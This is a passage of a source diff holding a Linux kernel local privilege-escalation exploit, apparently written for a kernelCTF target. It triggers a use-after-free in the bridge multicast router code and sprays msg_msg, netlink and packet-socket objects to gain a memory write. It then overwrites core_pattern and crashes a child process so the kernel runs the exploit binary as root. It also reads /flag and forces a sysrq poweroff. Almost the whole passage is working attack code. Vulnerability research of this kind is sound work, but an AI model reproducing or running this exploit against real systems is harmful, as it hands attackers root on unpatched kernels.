MSG_NOERROR) < 0) + loge("Failed to receive message"); +} + +// =-=-=-=-=-=-=-= PG_VEC HELPERS =-=-=-=-=-=-=-= +static void packet_socket_rx_ring_init(int s, unsigned int block_size, + unsigned int frame_size, + unsigned int block_nr, + unsigned int sizeof_priv, + unsigned int timeout) { + int v = TPACKET_V3; + if (setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)) < 0) + die("setsockopt(PACKET_VERSION)"); + + struct tpacket_req3 req; + memset(&req, 0, sizeof(req)); + req.tp_block_size = block_size; + req.tp_frame_size = frame_size; + req.tp_block_nr = block_nr; + req.tp_frame_nr = (block_size * block_nr) / frame_size; + req.tp_retire_blk_tov = timeout; + req.tp_sizeof_priv = sizeof_priv; + + if (setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)) < 0) + die("setsockopt(PACKET_RX_RING)"); +} + +static int packet_socket_setup(unsigned int block_size, unsigned int frame_size, + unsigned int block_nr, unsigned int sizeof_priv, + int timeout) { + int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (s < 0) + die("socket(AF_PACKET)"); + + packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, + timeout); + + struct sockaddr_ll sa; + memset(&sa, 0, sizeof(sa)); + sa.sll_family = PF_PACKET; + sa.sll_protocol = htons(ETH_P_ALL); + sa.sll_ifindex = if_nametoindex("lo"); + + if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) + die("bind(AF_PACKET)"); + + return s; +} + +// We use kmalloc-1k pg_vec as spray object +#define KMALLOC_1k_SIZE 1024 +#define KMALLOC_1k_PAGE_CNT ((KMALLOC_1k_SIZE) / sizeof(void *)) +static int alloc_kmalloc_1k_pg_vec() { + return packet_socket_setup(PAGE_SIZE, 2048, KMALLOC_1k_PAGE_CNT, 0, 100); +} +#define PACKET_SPRAY_CNT 0x40 + +int packet_fds[PACKET_SPRAY_CNT]; +static void spray_pg_vec() { + memset(packet_fds, 0, sizeof(packet_fds)); + for (int i = 0; i < PACKET_SPRAY_CNT; i++) { + packet_fds[i] = alloc_kmalloc_1k_pg_vec(); + if (packet_fds[i] < 0) + die("alloc_kmalloc_1k_pg_vec"); + } +} + +static void clean_up_pg_vec() { + for (int i = 0; i < PACKET_SPRAY_CNT; i++) { + if (packet_fds[i] < 0) + continue; + close(packet_fds[i]); + packet_fds[i] = -1; + } +} + +void craft_fake_partial_pg_vec(uint8_t *fake_partial_pg_vec, int size, + uint64_t target_addr) { + for (int i = 0; i < size; i += 8) { + *(uint64_t *)(fake_partial_pg_vec + i) = target_addr & (~0xfffULL); + } +} + +void do_usma() { + char buf[PAGE_SIZE]; + memset(buf, 0, PAGE_SIZE); + for (int i = 0; i < PACKET_SPRAY_CNT; i++) { + logd("search %d", i); + char *page = + (char *)mmap(NULL, PAGE_SIZE * KMALLOC_1k_PAGE_CNT, + PROT_READ | PROT_WRITE, MAP_SHARED, packet_fds[i], 0); + char *target = page + PAGE_SIZE * 80; + int j; + for (j = 0x30; j < 0x1000; j++) { + if (target[j] != 0) { + break; + } + } + if (j != 0x1000) { + logi("found target page!!"); + uint64_t target_offset = core_pattern_addr & 0xfff; + memcpy(&target[target_offset], "|/proc/%P/fd/666 %P\x00", 21); + break; + } + } +} + +// =-=-=-=-=-=-=-= NETLINK SK_BUFF HELPERS =-=-=-=-=-=-=-= +#define NUM_SOCKETS 0x20 +#define NUM_SKBUFFS 0x20 + +typedef struct { + int listener; + int sender; + unsigned int port_id; +} netlink_pair; + +netlink_pair nl_pairs[NUM_SOCKETS]; + +void init_sock() { + unsigned int base_port = 0x6666; + + for (int i = 0; i < NUM_SOCKETS; i++) { + nl_pairs[i].listener = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK); + if (nl_pairs[i].listener < 0) + die("socket"); + + struct sockaddr_nl addr = { + .nl_family = AF_NETLINK, + .nl_pid = base_port + i, + }; + if (bind(nl_pairs[i].listener, (struct sockaddr *)&addr, sizeof(addr)) < 0) + die("bind"); + + nl_pairs[i].sender = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK); + if (nl_pairs[i].sender < 0) + die("socket"); + + nl_pairs[i].port_id = base_port + i; + } +} + +void spray_skbuff_data(void *ptr, size_t size) { + struct sockaddr_nl dest = { + .nl_family = AF_NETLINK, + }; + + uint64_t start, end, elapsed; + int count = 0; + + for (int i = 0; i < NUM_SOCKETS; i++) { + dest.nl_pid = nl_pairs[i].port_id; + + for (int j = 0; j < NUM_SKBUFFS; j++) { + if (sendto(nl_pairs[i].sender, ptr, size, MSG_DONTWAIT, + (struct sockaddr *)&dest, sizeof(dest)) < 0) + die("sendto"); + } + } +} + +void free_skbuff_data(void *ptr, size_t size) { + for (int i = 0; i < NUM_SOCKETS; i++) { + for (int j = 0; j < NUM_SKBUFFS; j++) { + if (recv(nl_pairs[i].listener, ptr, size, MSG_DONTWAIT) < 0) + die("recv"); + } + } +} + +void cleanup_netlink() { + for (int i = 0; i < NUM_SOCKETS; i++) { + close(nl_pairs[i].listener); + close(nl_pairs[i].sender); + } +} + +int check_core() { + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0; +} + +void crash(char *cmd) { + int memfd = memfd_create("", 0); + sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff); + dup2(memfd, 666); + close(memfd); + while (check_core() == 0) + sleep(1); + puts("Root shell !!"); + /* Trigger program crash and cause kernel to executes program from + * core_pattern which is our "root" binary */ + *(size_t *)0 = 0; +} + +int main(int argc, char *argv[]) { + setvbuf(stdout, 0, 2, 0); + if (argc > 1) { + // #ifndef SYS_pidfd_getfd + // #define SYS_pidfd_getfd 438 + // #endif + int pid = strtoull(argv[1], 0, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + /* Get flag and poweroff immediately to boost next round try in PR + * verification workflow*/ + system("cat /flag;echo o>/proc/sysrq-trigger"); + } + + TargetDb kxdb("target_db.kxdb", target_db); + + Target st("kernelctf", "cos-121-18867.294.25"); + st.AddSymbol("core_pattern", 0x2fb3440); + st.AddStruct("net_bridge_mcast_port", 240, { + {"port", 0, 8}, + {"ip4_rlist.next", 104, 8}, + {"ip4_rlist.pprev", 112, 8}, + {"ip6_rlist.next", 208, 8}, + {"ip6_rlist.pprev", 216, 8}, + }); + st.AddStruct("net_bridge_port", 640, { + {"multicast_ctx", 304, 240}, + }); + kxdb.AddTarget(st); + + auto target = kxdb.GetTarget("kernelctf", "cos-121-18867.294.25"); + logi("Running on target: %s %s", + target.GetDistro().c_str(), target.GetReleaseName().c_str()); + + uint32_t core_pattern_sym_off = target.GetSymbolOffset("core_pattern"); + + if (fork() == 0) // this process is used to trigger core_pattern exploit + { + bind_core(1); + setsid(); + crash((char *)""); + } + // leak(); + + core_pattern_addr = KERNEL_BASE + core_pattern_sym_off + kernel_offset; + logi("core_pattern runtime addr: 0x%lx", core_pattern_addr); + + setup_namespace(); + + // Initialize shared data + shared = (shared_data *)mmap(NULL, sizeof(shared_data), PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); + if (shared == MAP_FAILED) + die("mmap"); + if (sem_init(&shared->child_sem, 1, 0) < 0) + die("sem_init"); + if (sem_init(&shared->parent_sem, 1, 0) < 0) + die("sem_init"); + + msg_queues = + (int *)mmap(NULL, sizeof(int) * MSG_SPRAY_NUM_PER_PROCESS * SPRAY_PROCESS_NUM, + PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); + if (msg_queues == MAP_FAILED) + die("mmap"); + + // Fork childs for spraying msg_msg + int pid[SPRAY_PROCESS_NUM]; + for (int i = 0; i < SPRAY_PROCESS_NUM; i++) { + pid[i] = fork(); + if (!pid[i]) { + setup_namespace(); + bind_core(0); + spray_msg(i); + sem_post(&shared->child_sem); + sem_wait(&shared->parent_sem); + + peek_msg(i); + sem_post(&shared->child_sem); + sem_wait(&shared->parent_sem); + + free_victim_msg(i); + sem_post(&shared->child_sem); + sem_wait(&shared->parent_sem); + sleep(10000); + } + } + + for (int i = 0; i < SPRAY_PROCESS_NUM; i++) + sem_wait(&shared->child_sem); + + bind_core(0); + + struct rlimit rlim = {.rlim_cur = 0xf000, .rlim_max = 0xf000}; + setrlimit(RLIMIT_NOFILE, &rlim); + init_sock(); + + // 1. ip link add name br1 up type bridge vlan_filtering 1 mcast_snooping 1 + create_bridge("br1"); + bring_interface_up("br1"); + + // 2. ip link add name dummy1 up master br1 type dummy + create_dummy("dummy1", "br1"); + bring_interface_up("dummy1"); + + // 3. ip link set dev dummy1 type bridge_slave mcast_router 2 + set_port_mcast_router("dummy1", 2); + + // 4. ip link set dev br1 type bridge mcast_vlan_snooping 1 + set_bridge_mcast_vlan_snooping("br1", 1); + + // 5. ip link set dev dummy1 type bridge_slave mcast_router 0 + // ip link set dev dummy1 type bridge_slave mcast_router 2 + set_port_mcast_router("dummy1", 0); + set_port_mcast_router("dummy1", 2); + + // 6. ip link del dev dummy1 + del_link("dummy1"); + + sleep(1); + struct net_bridge_port fake_net_bridge_port; + struct msg_msg *target_msg_msg = (struct msg_msg *)(GUESSED_MSG_ADDR); + craft_fake_net_bridge_port(&fake_net_bridge_port, + (uint64_t)&target_msg_msg->security, + (uint64_t)&target_msg_msg->mtext[MARKER_OFFSET]); + spray_skbuff_data(&fake_net_bridge_port, sizeof(fake_net_bridge_port)); + + logi("&target_msg_msg->security is: %p", &target_msg_msg->security); + + // 7. ip link add name dummy2 up master br1 type dummy + create_dummy("dummy2", "br1"); + bring_interface_up("dummy2"); + + // 8. ip link set dev dummy2 type bridge_slave mcast_router 2 + logd("Triggering UAF..."); + set_port_mcast_router("dummy2", 2); + + // peek victim msg + for (int i = 0; i < SPRAY_PROCESS_NUM; i++) + sem_post(&shared->parent_sem); + for (int i = 0; i < SPRAY_PROCESS_NUM; i++) + sem_wait(&shared->child_sem); + + // 9. ip link del dev dummy2 + del_link("dummy2"); + sleep(1); + + spray_pg_vec(); + free_skbuff_data(&fake_net_bridge_port, sizeof(fake_net_bridge_port)); + + // getchar(); + + // free msg_msg->security + for (int i = 0; i < SPRAY_PROCESS_NUM; i++) + sem_post(&shared->parent_sem); + sleep(1); + // usleep(50000); + + //char partial_pg_vec[616]; + uint8_t partial_pg_vec[600]; + craft_fake_partial_pg_vec(partial_pg_vec, sizeof(partial_pg_vec), core_pattern_addr); + logd("spray skbuff data"); + spray_skbuff_data(partial_pg_vec, sizeof(partial_pg_vec)); + + // getchar(); + do_usma(); + + sleep(1000); + return 0; +}